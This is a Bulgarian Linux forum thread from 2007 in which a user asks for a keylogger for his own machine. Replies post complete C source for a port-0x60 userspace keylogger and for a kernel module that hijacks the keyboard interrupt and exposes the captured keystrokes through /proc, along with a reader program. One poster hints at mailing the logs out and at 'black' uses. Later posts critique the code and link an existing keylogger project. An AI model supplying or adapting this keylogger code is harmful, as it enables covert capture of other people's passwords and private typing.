Автор Тема: Търся keyboard reader(logger)  (Прочетена 5478 пъти)

STOMANATA

  • Напреднали
  • *****
  • Публикации: 91
    • Профил
Търся keyboard reader(logger)
« -: Jul 16, 2007, 17:33 »
за слака ми трябва! не са ми нужни опции за ремоте, изпращане на лог по е-маил и тнт. трябва ми за ли4ната ми машина...
Активен

divak

  • Напреднали
  • *****
  • Публикации: 831
    • Профил
Търся keyboard reader(logger)
« Отговор #1 -: Jul 16, 2007, 20:13 »
По принцип ...
както и да е ...
пробвай това '<img'>
Примерен код

#include <stdio.h>  
#include <unistd.h>  
#include <sys/io.h>  
  
#define KEYBOARD_PORT 0x60  
#define KEYBOARD_STATUS_PORT 0x64  
#define LOGFILE "/home/STOMANATA/keylog/log"  
  
int main(int argc, char *argv[])  
{  
int key, key_buffer;  
FILE *file;  
  
//set the permissions for the port 0x60  
if (ioperm(KEYBOARD_PORT,1,1) == -1)  
{  
perror("ioperm()");  
return -1;  
}  
  
//set the permissions for the port 0x64  
if(ioperm(KEYBOARD_STATUS_PORT, 1, 1) == -1)  
{  
perror("ioperm()");  
return -1;  
}  
  
while(1)  
{  
key=0;  
  
//otherwise the system will do strange things;)  
if(inb(KEYBOARD_STATUS_PORT) == 20)  
{  
//read the pressed key;)  
key=inb(KEYBOARD_PORT);  
}  
  
if (key != 0)  
{  
//check if it is a new key, or if the key before is still pressed  
if (key != key_buffer)  
{  
key_buffer=key;  
  
//write the key to the LOGFILE  
file=fopen(LOGFILE, "a");  
  
if (file == NULL)  
{  
perror("fopen()");  
return -1;  
}  
  
fprintf(file,"%i\n",key);  
fclose(file);  
}  
}  
  
//sleep one ms  
usleep(1);  
}  
  
//while(1)...;)  
return 0;  
}  
  



Като се замисля ...ще взема да си цензурирам написаното '<img'>
За пращането на лога по мейл ...импровизирай.

P.s. Всяка прилика с чужд код ...въобще не е случайна !!!



Активен

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Търся keyboard reader(logger)
« Отговор #2 -: Jul 16, 2007, 21:13 »
'<img'>

Не е толкова просто обаче - първо ioperm() изисква superuser-ски привилегии, така че потребителят STOMANATA ще го подкара, но в някоя паралелна реалност '<img'> А ако имаш SELinux в enforced режим най-вероятно и това няма да помогне особено (редхат и centos например много си го обичат). Като цяло обаче това май е малък проблем.

С това нещо няма да можеш по никакъв начин да хванеш кой какво си бил писал по tty-то при положение че се е лог-нал през ssh. Отделно имам съмнения доколко ще сработи с X конзоли.

Ъъъ абе също така мисля, че е малко тъпо това да се реализира със streamed I/O. Просто ако бях зъл потребител и знаех за това, бих пробвал да си поиграя с някои alt-numpad комбинации, може пък някои от тях да имат интересен резултат, не съм се замислял много-много '<img'>

Тоя дето е писал този keylogger не е бил много сериозен ми се струва '<img'>



Активен

"Knowledge is power" - France is Bacon

divak

  • Напреднали
  • *****
  • Публикации: 831
    • Профил
Търся keyboard reader(logger)
« Отговор #3 -: Jul 16, 2007, 23:18 »
На Пърл също може да се измисли нещо ...
Term::ReadKey, Term::ReadLine, и Term::VT102 могат да влязат в употреба '<img'> ....доста черна при това '<img'>.

@gat3way какво мислиш а това ?
Примерен код

//lkm_keylog.c  
//------------------------------------------------  
  
#include <linux/module.h>  
#include <linux/kernel.h>  
#include <linux/proc_fs.h>  
#include <linux/sched.h>  
#include <linux/workqueue.h>  
#include <linux/interrupt.h>  
#include <asm/uaccess.h>  
#include <asm/io.h>  
  
#define PROC_NAME "lkm_keylog"  
#define DEBUG  
  
struct proc_dir_entry *Proc_File;  
static struct workqueue_struct *workqueue;  
  
unsigned char log[1000000];  
unsigned int counter=0;  
  
int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data)  
{  
int ret;  
  
if (offset > 0)  
{  
ret  = 0;  
}  
else  
{  
ret = sprintf(buffer, "%s\n", log);  
}  
  
return ret;  
}  
  
static void log_char(void *scancode)  
{  
  
#ifdef DEBUG  
printk(KERN_INFO "Scan Code: %x\n", (int)*((char *)scancode) & 0x7F);  
#endif  
  
//log the scancodes;)  
log[counter] = (int)*((char *)scancode) & 0x7F;  
counter++;  
  
}  
  
irqreturn_t irq_handler(int irq, void *dev_id, struct pt_regs *regs)  
{  
  
static int initialised = 0;  
static unsigned char scancode;  
static struct work_struct task;  
unsigned char status;  
  
status = inb(0x64);  
scancode = inb(0x60);  
  
if (initialised == 0)  
{  
INIT_WORK(&task, log_char, &scancode);  
initialised = 1;  
}  
else  
{  
PREPARE_WORK(&task, log_char, &scancode);  
}  
  
queue_work(workqueue, &task);  
  
return IRQ_HANDLED;  
  
}  
  
int init_module()  
{  
  
#ifdef DEBUG  
printk(KERN_INFO "lkm keylog is loading...\n");  
#endif  
//create /proc/PROC_NAME  
Proc_File = create_proc_entry(PROC_NAME, 0644, NULL);  
  
if (Proc_File == NULL)  
{  
remove_proc_entry(PROC_NAME, &proc_root);  
return -ENOMEM;  
}  
  
Proc_File->read_proc = procfile_read;  
Proc_File->owner = THIS_MODULE;  
Proc_File->mode = S_IFREG | S_IRUGO;  
Proc_File->uid = 0;  
Proc_File->gid = 0;  
Proc_File->size = 37;  
  
#ifdef DEBUG  
printk(KERN_INFO "created PROC_NAME successfully!\n");  
#endif  
  
//create new keyboard irq handler  
workqueue = create_workqueue("WQsched.c");  
  
free_irq(1, NULL);  
  
if (request_irq(1, irq_handler, SA_SHIRQ, "keyboard_irq_handler", (void *)(irq_handler)) != 0)  
return -1;  
  
#ifdef DEBUG  
printk(KERN_INFO "created new keyboard irq handler successfully!\n");  
#endif  
  
#ifdef DEBUG  
printk(KERN_INFO "lkm keylog loaded successfully!\n");  
#endif  
  
return 0;  
  
}  
  
void cleanup_module()  
{  
  
//remove /proc/PROC_NAME  
remove_proc_entry(PROC_NAME, &proc_root);  
  
//disable the keyboard handler (free its irq) -> reboot;)  
free_irq(1, NULL);  
  
#ifdef DEBUG  
printk(KERN_INFO "lkm keylog unloaded\n");  
#endif  
  
}  
  



и
Примерен код

#include <stdio.h>  
#include <stdlib.h>  
  
#define PROC_NAME "lkm_keylog"  
  
int main(void)  
{  
FILE *keylog;  
unsigned int c;  
  
keylog=fopen("/proc/PROC_NAME","rb");  
if(keylog == NULL)  
{  
printf("could not open /proc/PROC_NAME\n");  
return EXIT_FAILURE;  
}  
else  
{  
  
while((c=getc(keylog)) != EOF)  
{  
if (c != 0)  
printf("%x\n", c);  
}  
}  
  
return EXIT_SUCCESS;  
}  
  
//get_logs.c  
//------------------------------------------------  


Какви неща може да намери човек ...стига да знае какво иска ...
Трябва да се направи раздел тук за подобни глупости '<img'>

P.s. Това с кода си го знаете вече '<img'>
Активен

STOMANATA

  • Напреднали
  • *****
  • Публикации: 91
    • Профил
Търся keyboard reader(logger)
« Отговор #4 -: Jul 17, 2007, 09:50 »
DIVAK мерси за отговорите! ще ги пробвам дове4ера.
а тоза влизанията през ssh или пращането по е-маил няма да ми трябва.
идеята е да си го пусна сутринта пък ве4ерта като се завърна да видя дали някои не е писал от мое име по 4атовете...
друго не ми трябва.
а можеш ли да посо4иш от къде 4ерпиш тази информация '<img'>
Активен

paucku

  • Напреднали
  • *****
  • Публикации: 638
  • Distribution: Kubuntu LTS (отскоро е - тествам я в момента)
  • Window Manager: KDE
  • Райчо Николов
    • Профил
    • WWW
Търся keyboard reader(logger)
« Отговор #5 -: Jul 17, 2007, 10:25 »
Ето едно готово решение. Все пак, защо да откриваме топлата вода '<img'>
http://sourceforge.net/projects/lkl/
Цитат
LKL is a userspace keylogger that runs under Linux on the x86 architechture. LKL sniffs and logs everything that passes through the hardware keyboard port (0x60). It translates keycodes to ASCII with a keymap file.
Активен

STOMANATA

  • Напреднали
  • *****
  • Публикации: 91
    • Профил
Търся keyboard reader(logger)
« Отговор #6 -: Jul 17, 2007, 10:39 »
Това с lkl го бях пробвал. мъ4их с us_km и другите там но като си цъкна на irc и напиша нещо в seen в лога се появява само null null и разни такива! няма въвежданите символи...
Активен

STOMANATA

  • Напреднали
  • *****
  • Публикации: 91
    • Профил
Търся keyboard reader(logger)
« Отговор #7 -: Jul 17, 2007, 12:47 »
полу4ават се грешки:

/loger.py: line 1: syntax error near unexpected token `newline'
./loger.py: line 1: `include <stdio.h>   '




./loger.py: line 13: struct: command not found
./loger.py: line 14: static: command not found
./loger.py: line 16: unsigned: command not found
./loger.py: line 17: unsigned: command not found
./loger.py: line 19: syntax error near unexpected token `('
./loger.py: line 19: `int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data)   '







и





./loger.py: line 6: syntax error near unexpected token `('
./loger.py: line 6: `int main(void)   '




това за всеки 1 от фаиловете!
3 файла- 3 грешки '<img'>
Активен

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Търся keyboard reader(logger)
« Отговор #8 -: Jul 17, 2007, 15:25 »
Това не е човешко  '<img'>  '<img'>  '<img'>
Активен

"Knowledge is power" - France is Bacon

STOMANATA

  • Напреднали
  • *****
  • Публикации: 91
    • Профил
Търся keyboard reader(logger)
« Отговор #9 -: Jul 20, 2007, 20:51 »
кое му е нечвешкото? и кой от 3-те скрипта как да подкарам?
Активен

Подобни теми
Заглавие Започната от Отговора Прегледи Последна публикация
smartcard reader
Настройка на хардуер
badore 0 4960 Последна публикация Apr 07, 2003, 15:52
от badore
Acrobat Reader 5.0.6
Настройка на програми
inn61 1 5438 Последна публикация Apr 10, 2003, 12:32
от CaBA
Acrobat Reader
Настройка на програми
cenata 2 4288 Последна публикация Jun 12, 2005, 23:20
от cenata
card reader
Настройка на хардуер
mishaikin 21 12274 Последна публикация Dec 24, 2005, 14:55
от mishaikin
Connection logger?
Идеи и мнения
Nikolavp 4 4706 Последна публикация Aug 05, 2007, 20:48
от Nikolavp